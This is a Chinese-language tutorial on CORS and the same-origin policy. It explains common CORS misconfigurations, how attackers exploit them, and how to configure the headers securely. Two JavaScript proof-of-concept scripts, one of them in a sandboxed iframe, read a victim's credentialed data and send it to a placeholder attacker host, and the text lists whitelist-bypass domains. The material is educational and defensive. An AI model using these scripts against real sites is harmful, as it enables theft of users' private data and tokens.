在本节中,我们将解释什么是跨域资源共享(CORS
),并描述一些基于 CORS
的常见攻击示例,以及讨论如何防御这些攻击。
CORS
(跨域资源共享)是一种浏览器机制,它允许对位于当前访问域之外的资源进行受控访问。它扩展并增加了同源策略的灵活性。然而,如果一个网站的 CORS
策略配置和实现不当,它也可能导致基于跨域的攻击。CORS
不是针对跨源攻击(例如跨站请求伪造 CSRF
)的保护。
同源策略是一种限制性的跨域规范,它限制了网站与源域之外资源交互的能力。同源策略是多年前定义的,用于应对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私人数据。它通常允许域向其他域发出请求,但不允许访问响应。
更多内容可参考下本 Same-origin-policy 。
同源策略具有很大的限制性,因此人们设计了很多方法去规避这些限制。许多网站与子域或第三方网站的交互方式要求完全的跨域访问。使用跨域资源共享(CORS
)可以有控制地放宽同源策略。
CORS
协议使用一组 HTTP header 来定义可信的 web 域和相关属性,例如是否允许通过身份验证的访问。浏览器和它试图访问的跨域网站之间进行这些 header 的交换。
更多内容可参考下文 CORS and the Access-Control-Allow-Origin response header 。
现在许多网站使用 CORS
来允许来自子域和可信的第三方的访问。他们对 CORS
的实现可能包含有错误或过于放宽,这可能导致可利用的漏洞。
有些应用程序需要允许很多其它域的访问。维护一个允许域的列表需要付出持续的努力,任何差错都有可能造成破坏。因此,应用程序可能使用一些更加简单的方法来达到最终目的。
一种方法是从请求头中读取 Origin
,然后将其作为 Access-Control-Allow-Origin
响应头返回。例如,应用程序接受了以下请求:
GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=...
然后,其响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true
响应头表明允许从请求域进行访问,并且跨域请求可以包括 cookies(Access-Control-Allow-Credentials: true
),因此浏览器将会在会话中进行处理。
由于应用程序在 Access-Control-Allow-Origin
头中直接返回了请求域,这意味着任何域都可以访问资源。如果响应中包含了任何敏感信息,如 API key 或者 CSRF token 则都可以被获取,你可以在你的网站上放置以下脚本进行检索:
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='//malicious-website.com/log?key='+this.responseText; };
某些应用程序使用白名单机制来实现可信来源的访问允许。当收到 CORS 请求时,将请求头中的 origin 与白名单进行比较,如果在白名单中,则在 Access-Control-Allow-Origin
头中返回请求的 origin 以允许其跨域访问。例如,应用程序收到了如下的请求:
GET /data HTTP/1.1 Host: normal-website.com ... Origin: https://innocent-website.com
应用程序检查白名单列表,如果 origin 在表中,则响应:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://innocent-website.com
在实现 CORS origin 白名单时很可能会犯一些失误。某个组织决定允许从其所有子域(包括尚未存在的未来子域)进行访问。应用程序允许从其他组织的域(包括其子域)进行访问。这些规则通常通过匹配 URL 前缀或后缀,或使用正则表达式来实现。实现中的任何失误都可能导致访问权限被授予意外的外部域。
例如,假设应用程序允许以下结尾的所有域的访问权限:
normal-website.com
攻击者则可以通过注册以下域来获得访问权限(结尾匹配):
hackersnormal-website.com
或者应用程序允许以下开头的所有域的访问权限:
normal-website.com
攻击者则可以使用以下域获得访问权限(开头匹配):
normal-website.com.evil-user.net
浏览器会在以下情况下发送值为 null 的 Origin 头:
file:
协议的请求某些应用程序可能会在白名单中允许 null 以方便本地开发。例如,假设应用程序收到了以下跨域请求:
GET /sensitive-victim-data Host: vulnerable-website.com Origin: null
服务器响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
在这种情况下,攻击者可以使用各种技巧生成 Origin 为 null 的请求以通过白名单,从而获得访问权限。例如,可以使用 iframe
沙盒进行跨域请求:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='malicious-website.com/log?key='+this.responseText; }; </script>"></iframe>
CORS
会在两个域之间建立信任关系,即使 CORS
是正确的配置,但是如果某个受信任的网站存在 XSS 漏洞,那么攻击者就可以利用 XSS 漏洞注入脚本,进而从受信任的网站上获取敏感信息。
假设请求为:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: https://subdomain.vulnerable-website.com Cookie: sessionid=...
如果服务器响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
那么攻击者可以通过 subdomain.vulnerable-website.com
网站上的 XSS 漏洞去获取一些敏感数据:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
假设一个严格使用 HTTPS 的应用程序也通过白名单信任了一个使用 HTTP 的子域。例如,当应用程序收到以下请求时:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: http://trusted-subdomain.vulnerable-website.com Cookie: sessionid=...
应用程序响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
在这种情况下,能够拦截受害者用户流量的攻击者可以利用 CORS 来破坏受害者与应用程序的正常交互。攻击步骤如下:
http://trusted-subdomain.vulnerable-website.com
https://vulnerable-website.com
http://trusted-subdomain.vulnerable-website.com
即使易受攻击的网站对 HTTPS 的使用没有漏洞,并且没有 HTTP 端点,同时所有 Cookie 都标记为安全,此攻击也是有效的。
大部分 CORS
攻击都需要以下响应头的存在:
Access-Control-Allow-Credentials: true
没有这个响应头,受害者的浏览器将不会发送 cookies ,这意味着攻击者只能访问无需用户验证的内容,而这些内容直接访问目标网站就可以轻松获得。
然而,有一种情况下攻击者无法直接访问网站:网站是内网,并且是私有 IP 地址空间。内网的安全标准通常低于外网,这使得攻击者发现漏洞后可以获得进一步的访问权限。例如,某个私有网络中的跨域请求:
GET /reader?url=doc1.pdf Host: intranet.normal-website.com Origin: https://normal-website.com
服务器响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: *
服务器信任所有来源的跨域请求,而且无需凭证。如果私有IP地址空间内的用户访问公共互联网,则可以从外部站点执行基于 CORS 的攻击,该站点使用受害者的浏览器作为访问内网资源的代理。
CORS
漏洞主要是由于错误的配置而产生的,因此防护措施主要也是如何进行正确配置的问题。下面将会描述一些有效的方法。
如果 web 资源包含敏感信息,那么应该在 Access-Control-Allow-Origin
头中声明允许的来源。
Access-Control-Allow-Origin
头只能是受信任的站点。Access-Control-Allow-Origin
直接使用跨域请求的 origin 而不验证是很容易被利用的,应该避免。
避免 Access-Control-Allow-Origin: null
。来自内部文档和沙盒请求的跨域资源调用可以指定 origin 为 null 的。CORS 头应该根据私有和公共服务器的可信来源正确定义。
避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时,仅仅依靠网络配置来保护内部资源是不够的。
CORS
定义的只是浏览器行为,永远不能替代服务端对敏感数据的保护,毕竟攻击者可以直接在其它环境中伪造来自任何 origin 的请求。因此,除了正确配置的 CORS 之外,web 服务端仍然需要使用诸如身份验证和会话管理等措施对敏感数据进行保护。
在本节中,我们将解释什么是同源策略以及它是如何实现的。
同源策略是一种旨在防止网站互相攻击的 web 浏览器的安全机制。
同源策略限制一个源上的脚本访问另一个源的数据。
Origin 源由三个部分组成:schema
、domain
、port
,所谓的同源就是要求这三个部分全部相同。 例如下面这个 URL:
http://normal-website.com/example/example.html
其 schema
是 http,domain
是 normal-website.com
,port
是 80 。下表显示了如果上述 URL 中的内容尝试访问其它源将会是什么情况:
访问的 URL | 是否可以访问 |
---|---|
http://normal-website.com/example/ | 是,同源 |
http://normal-website.com/example2/ | 是,同源 |
https://normal-website.com/example/ | 否: scheme 和 port 都不同 |
http://en.normal-website.com/example/ | 否: domain 不同 |
http://www.normal-website.com/example/ | 否: domain 不同 |
http://normal-website.com:8080/example/ | 否: port 不同* |
*IE 浏览器将会允许访问,因为 IE 浏览器在应用同源策略时不考虑端口号。
当浏览器从一个源发送 HTTP 请求到另一个源时,与另一个源相关的任何 cookie (包括身份验证会话cookie)也将会作为请求的一部分一起发送。这意味着响应将在用户会话中返回,并包含此特定用户的相关数据。如果没有同源策略,如果你访问了一个恶意网站,它将能够读取你 GMail 中的电子邮件、Facebook 上的私人消息等。
同源策略通常控制 JavaScript 代码对跨域加载的内容的访问。通常允许页面资源的跨域加载。例如,同源策略允许通过 <img>
标签嵌入图像,通过 <video>
标签嵌入媒体、以及通过 <script>
标签嵌入 JavaScript 。但是,页面只能加载这些外部资源,页面上的任何 JavaScript 都无法读取这些资源的内容。
同源策略也有一些例外:
location
对象,或者来自 iframes 或新窗口的 location.href
属性。window
对象的 length
属性和 closed
属性。location
对象上可以跨域调用 replace
函数。close
、blur
、focus
函数。也可以在 iframes 和新窗口上 postMessage
函数以将消息从一个域发送到另一个域。由于历史遗留,在处理 cookie 时,同源策略更为宽松,通常可以从站点的所有子域访问它们,即使每个子域并不满足同源的要求。你可以使用 HttpOnly
一定程度缓解这个风险。
使用 document.domain
可以放宽同源策略,这个特殊属性允许放宽特定域的同源策略,但前提是它是 FQDN(fully qualified domain name)的一部分。例如,你有一个域名 marketing.example.com
,并且你想读取 example.com
域的内容。为此,两个域都需要设置 document.domain
为 example.com
,那么同源策略将会允许这里两个域之间的访问,尽管它们并不同源。在过去,你可以将 document.domain
设置为顶级域名如 com
,以允许同一个顶级域名上的任何域之间的访问,但是现代浏览器已经不允许这么做了。
在本节中,我们将解释有关 CORS
的 Access-Control-Allow-Origin
响应头,以及后者如何构成 CORS
实现的一部分。
CORS
通过使用一组 HTTP 头部提供了同源策略的可控制放宽,浏览器允许访问基于这些头部的跨域请求的响应。
Access-Control-Allow-Origin
响应头标识了跨域请求允许的请求来源,浏览器会将 Access-Control-Allow-Origin
与请求网站 origin 进行比较,如果两者匹配则允许访问响应。
CORS
规范规定了 web 服务器和浏览器之间交换的头内容,其中 Access-Control-Allow-Origin
是最重要的。当网站发起跨域资源请求时,浏览器将会自动添加 Origin
头,随后服务器返回 Access-Control-Allow-Origin
响应头。
例如,origin 为 normal-website.com
的网站发起了如下跨域请求:
GET /data HTTP/1.1 Host: robust-website.com Origin : https://normal-website.com
服务器响应:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com
浏览器将会允许 normal-website.com
网站代码访问响应,因为 Access-Control-Allow-Origin
与 Origin
匹配。
Access-Control-Allow-Origin
允许多个域,或者 null
,或者通配符 *
。但是没有浏览器支持多个 origin ,且通配符的使用有限制。
跨域资源请求的默认行为是传递请求时不会携带如 cookies 和 Authorization 头等凭证的。然而,对于带凭证的跨域请求,服务器通过设置 Access-Control-Allow-Credentials: true
响应头可以允许浏览器读取响应。例如,某个网站使用 JavaScript 去控制发起请求时一起发送 cookies :
GET /data HTTP/1.1 Host: robust-website.com ... Origin: https://normal-website.com Cookie: JSESSIONID=<value>
得到的响应为:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Credentials: true
那么浏览器将会允许发起请求的网站读取响应,因为 Access-Control-Allow-Credentials
设置为了 true
。否则,浏览器将不允许访问响应。
Access-Control-Allow-Origin
头支持使用通配符 *
,如
Access-Control-Allow-Origin: *
注意:通配符不能与其他值一起使用,如下方式是非法的:
Access-Control-Allow-Origin: https://*.normal-website.com
幸运的是,基于安全考虑,通配符的使用是有限制的,你不能同时使用通配符与带凭证的跨域传输。因此,以下形式的服务器响应是不允许的:
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
因为这是非常危险的,这等于向所有人公开目标网站上所有经过身份验证的内容。
为了保护遗留资源不受 CORS 允许的扩展请求的影响,预检也是 CORS 规范中的一部分。在某些情况下,当跨域请求包括非标准的 HTTP method 或 header 时,在进行跨域请求之前,浏览器会先发起一次 method 为 OPTIONS
的请求,并且对服务端响应的 Access-Control-*
之类的头进行初步检查,对比 origin、method 和 header 等等,这就叫预检。
例如,对使用 PUT
方法和 Special-Request-Header
自定义请求头的预检请求为:
OPTIONS /data HTTP/1.1 Host: <some website> ... Origin: https://normal-website.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Special-Request-Header
服务器可能响应:
HTTP/1.1 204 No Content ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Methods: PUT, POST, OPTIONS Access-Control-Allow-Headers: Special-Request-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240
这个响应的含义:
Access-Control-Allow-Origin
允许的请求域。Access-Control-Allow-Methods
允许的请求方法。Access-Control-Allow-Headers
允许的请求头。Access-Control-Allow-Credentials
允许带凭证的请求。Access-Control-Max-Age
设置预检响应的最大缓存时间,通过缓存减少预检请求增加的额外的 HTTP 请求往返的开销。CORS 无法提供对跨站请求伪造(CSRF)攻击的防护,这是一个容易出现误解的地方。
CORS 是对同源策略的受控放宽,因此配置不当的 CORS 实际上可能会增加 CSRF 攻击的可能性或加剧其影响。